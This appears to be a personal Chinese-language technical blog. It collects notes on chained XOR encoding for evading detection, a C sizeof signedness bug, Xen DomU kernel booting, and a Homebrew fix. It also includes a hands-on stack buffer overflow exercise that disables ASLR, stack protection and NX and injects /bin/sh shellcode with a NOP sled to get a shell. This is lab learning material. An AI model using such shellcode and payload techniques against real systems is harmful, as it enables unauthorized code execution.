Chained XOR Encoding

通常以單一的XOR作為Key，很容易就被發現了。

因此發展另一概念：
1. 以Content的頭或尾作為第一把XOR Key
2. 用這把Key去XOR，產生的OUTPUT作為下一個Byte的Key

PoC Python Code

a = [0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8]
key = a[-1]
e = []

for i in range(len(a)):
    out = a[i] ^ key
    e.append(out)
    key = out

print "Encoded Bytes: ", e

d = []
for i in range(len(e)-1, 0, -1):
    d.append(e[i] ^ e[i-1])
d.append(e[0] ^ d[0])
d.reverse()
print "Decoded Bytes: ", d

sizeof(bug)

關於C語言中的sizeof，如果不小心可能會產生蟲兒。

 來看一下程式碼及執行結果：

MaCarrick:mists-of-time cacaegg$ cat subtle-bug.c
#include
int array[] = {23, 34, 12, 17, 204, 99, 16};
#define TOTAL_ELEMENTS (sizeof(array) / sizeof(array[0]))

main(){
int d = -1, x;

if(d <= TOTAL_ELEMENTS-2){
printf("T\n");
}else{
printf("F\n");
}
}
MaCarrick:mists-of-time cacaegg$ gcc subtle-bug.c
MaCarrick:mists-of-time cacaegg$ ./a.out
F

為什麼d明明是-1卻印出F呢？

其實是因為sizeof回傳的形態皆為unsinged。

加上當進行signed int d與unsigned int比較時，signed int會被轉成unsigned int。 

所以d在是-1的情況下，其signed bit為1，當其轉為unsinged時，signed bit就成為most significant bit，使得d轉為極大的數了。

修正方法只要加上型態轉換即可：

  if(d <= (int) TOTAL_ELEMENTS - 2)

Booting Kernel inside the Xen Paravirt Dom U

記錄一下
先create image，然後將Dom 0的

#xen-create-image --hostname=squeeze-1 --size=8Gb --dist=squeeze --memory=256M --dhcp
....
#mount -o loop=/dev/loop2 /home/xen/domains/squeeze-1/disk.img /mnt/
#cd /mnt/boot
#cp /boot/vmlinuz-2.6.26-1-xen-686 ./
#cp /boot/initrd.img-2.6.26-1-xen-686 ./
#mkdir grub
#cd grub/
#cp /boot/grub/* ./
#vim device.map
#vim menu.lst
# cat device.map
(hd0) /dev/sda
## cat menu.lst
...
...

title Debian GNU/Linux, kernel 2.6.26-1-xen-686
root (hd0)
kernel /boot/vmlinuz-2.6.26-1-xen-686 root=/dev/sda ro quiet
initrd /boot/initrd.img-2.6.26-1-xen-686

title Debian GNU/Linux, kernel 2.6.26-1-xen-686 (single-user mode)
root (hd0)
kernel /boot/vmlinuz-2.6.26-1-xen-686 root=/dev/sda ro single
initrd /boot/initrd.img-2.6.26-1-xen-686

最後就是/etc/xen/squeeze-1.cft中的設定，要指定kernel位置以及root fs的位置

#
# Configuration file for the Xen instance squeeze-1, created
# by xen-tools 3.9 on Thu Jan 5 17:35:59 2012.
#

#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-2.6.26-1-xen-686'
ramdisk = '/boot/initrd.img-2.6.26-1-xen-686'
memory = '256'

#
# Disk device(s).
#
root = '/dev/sda ro'
disk = [
'file:/home/xen/domains/squeeze-1/swap.img,sda1,w',
'file:/home/xen/domains/squeeze-1/disk.img,sda,w',
]

指定disk.img export 到/dev/sda，然後再指定root是/dev/sda

Pratice Buffer Overflow on Ubuntu 10.10

首先準備有漏洞的Buffer Overflow程式

csep@ubuntu:~/src$ cat samp1.c
#include
#include

int main(int argc, char** argv){
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}

為了能夠順利練習，需要先關閉Stack Guard、Stack Space Randomization以及Non Executable Stack
1. 關閉Stack Space Randomization

root@ubuntu:~# echo 0 > /proc/sys/kernel/randomize_va_space
root@ubuntu:~# cat /proc/sys/kernel/randomize_va_space
0

2. 關閉Stack Guard，在gcc compile時加上參數

gcc -g -o samp1 samp1.c -fno-stack-protector

3. 關閉Non Executable Stack，需要額外把NX bit關掉

user@ubuntu:~/src$ sudo apt-get install execstack
...
user@ubuntu:~/src$ execstack -s samp1

4. 執行GDB開始Buffer Overflow

csep@ubuntu:~/src$ gdb -q samp1
Reading symbols from /home/csep/src/samp1...done.
(gdb) run `python -c 'print "\x41"*500'`Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*500'`

Program exited normally.
(gdb) run `python -c 'print "\x41"*520'`
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*520'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `python -c 'print "\x41"*512'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*512'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `python -c 'print "\x41"*508'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*508'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `python -c 'print "\x41"*504'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*504'`

Program received signal SIGILL, Illegal instruction.
0xbffff67a in ?? ()
(gdb) run `python -c 'print "\x41"*504'`

可以看到長度約在504之後會寫到EIP，接著看ESP在大概在哪。

(gdb) list
1 #include
2 #include
3
4 int main(int argc, char** argv){
5 char buffer[500];
6 strcpy(buffer, argv[1]); // Vulnerable Function
7 return 0;
8 }
(gdb) b 6
Breakpoint 1 at 0x80483cd: file samp1.c, line 6.
(gdb) run `python -c 'print "\x41"*508'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/csep/src/samp1 `python -c 'print "\x41"*508'`

Breakpoint 1, main (argc=2, argv=0xbffff604) at samp1.c:6
6 strcpy(buffer, argv[1]); // Vulnerable Function
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r esp
esp 0xbffff560 0xbffff560
(gdb) p /x 0xbffff560 - 300
$3 = 0xbffff434

從ESP往回算約300，就是要覆寫的ret address。
接著就準備shell code，參考連結。

csep@ubuntu:~/src$ ./sc-gen sh
Shellcode lenght: 54
\x31\xc0\x83\xec\x01\x88\x04\x24
\x68\x74\x72\x69\x62\x68\x2e\x64
\x69\x73\x68\x6e\x2f\x73\x68\x66
\x68\x62\x69\x83\xec\x01\xc6\x04
\x24\x2f\x89\xe6\x50\x56\xb0\x0b
\x89\xf3\x89\xe1\x31\xd2\xcd\x80
\xb0\x01\x31\xdb\xcd\x80
csep@ubuntu:~/src$ for line in `./sc-gen sh | grep "x"`; do echo -n $line; done\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x74\x72\x69\x62\x68\x2e\x64\x69\x73\x68\x6e\x2f\x73\x68\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80

大致上準備好了，可以Buffer Overflow了。要送出的參數長這樣
[NOP-------] [shell Code] [return Address----]
^--------------------------------------'
只要return address位於NOP中，就可以順利執行Shell Code了。

(gdb) run `python -c 'print "\x90"*302+"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x74\x72\x69\x62\x68\x2e\x64\x69\x73\x68\x6e\x2f\x73\x68\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"+"\xc4\xf3\xff\xbf"*38'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/csep/src/samp1 `python -c 'print "\x90"*302+"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x74\x72\x69\x62\x68\x2e\x64\x69\x73\x68\x6e\x2f\x73\x68\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"+"\xc4\xf3\xff\xbf"*38'`

Breakpoint 1, main (argc=2, argv=0xbffff604) at samp1.c:6
6 strcpy(buffer, argv[1]); // Vulnerable Function
(gdb) c
Continuing.
process 13123 is executing new program: /bin/bash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

csep@ubuntu:/home/csep/src$

Boom！ 拿到Shell了。

Homebrew Update Error

出現以下訊息，應該是git有點問題。

From http://github.com/mxcl/homebrew
* branch master -> FETCH_HEAD
error: Your local changes to the following files would be overwritten by merge:
share/man/man1/brew.1
Library/Homebrew/formula_installer.rb
Library/Formula/xpdf.rb
Library/Formula/wine.rb
Library/Formula/webalizer.rb
Library/Formula/tofrodos.rb
Library/Formula/ssldump.rb
Library/Formula/squirrel.rb
Library/Formula/sphinx.rb
Library/Formula/sleepnow.rb
Library/Formula/skipfish.rb
Library/Formula/schroedinger.rb
Library/Formula/rebar.rb
Library/Formula/rabbitmq.rb
Library/Formula/qdbm.rb
Library/Formula/pure.rb
Library/Formula/pkg-config.rb
Library/Formula/parallel.rb
Library/Formula/openvpn.rb
Library/Formula/mcl.rb
Library/Formula/lilypond.rb
Library/Formula/libvirt.rb
Library/Formula/libsamplerate.rb
Library/Formula/libao.rb
Library/Formula/ledit.rb
Library/Formula/jack.rb
Library/Formula/gst-plugins-good.rb
Library/Formula/geeqie.rb
Library/Formula/freealut.rb
Library/Formula/fontforge.rb
Library/Formula/ddclient.rb
Library/Formula/ddate.rb
Library/Formula/d-bus.rb
Library/Formula/cscope.rb
Library/Formula/cppdom.rb
Library/Formula/celt.rb
Library/Formula/cd-discid.rb
Library/Formula/cairomm.rb
Library/Formula/bsdiff.rb
Library/Contributions/manpages/brew.1.md
Library/Contributions/examples/brew-audit.rb
Please, commit your changes or stash them before you can merge.
error: The following untracked working tree files would be overwritten by merge:
Library/Formula/zookeeper.rb
Library/Formula/zdelta.rb
Library/Formula/vip.rb
Library/Formula/vcodex.rb
Library/Formula/sshfs-fuse.rb
Library/Formula/nickle.rb
Library/Formula/isc-dhcp.rb
Library/Formula/gst-plugins-ugly.rb
Library/Formula/gst-plugins-bad.rb
Library/Formula/go-gui.rb
Library/Formula/fluxus.rb
Library/Formula/exodriver.rb
Library/Formula/djvulibre.rb
Library/Formula/cdrdao.rb
Library/Formula/c10t.rb
Library/Formula/blahtexml.rb
Library/Formula/bigloo.rb
Library/Formula/aws-iam-tools.rb
Library/Formula/aget.rb
Library/Aliases/sshfs
Library/Aliases/liblabjackusb
Please move or remove them before you can merge.
Updating 959edff..6cf7c80
Aborting
Error: Failed while executing git pull http://github.com/mxcl/homebrew.git master

Google一下後，成功解決，做個記錄。

$sudo chown -R `whoami` /usr/local
$cd /usr/local
$git add .
$git stash
$git reset --hard
$brew update